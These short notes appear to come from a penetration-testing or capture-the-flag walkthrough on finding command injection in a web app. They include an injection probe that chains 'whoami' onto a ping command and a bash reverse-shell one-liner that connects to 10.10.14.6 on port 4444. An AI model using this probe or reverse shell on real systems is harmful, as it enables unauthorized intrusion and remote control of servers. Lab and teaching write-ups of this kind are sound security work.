Test to see if the app is able to execute commands outside of what’s specified.
For example, “ping 8.8.8.8 & whoami”
This will execute the ping command but then also attaches another command ‘whoami’ to see if the web app will execute this as well.
If the web app executes ‘whoami’ then we are vulnerable to command injections. Now we execute a reverse shell
Bash one-liner:
/bin/bash -i >& /dev/tcp/10.10.14.6/4444 0>&1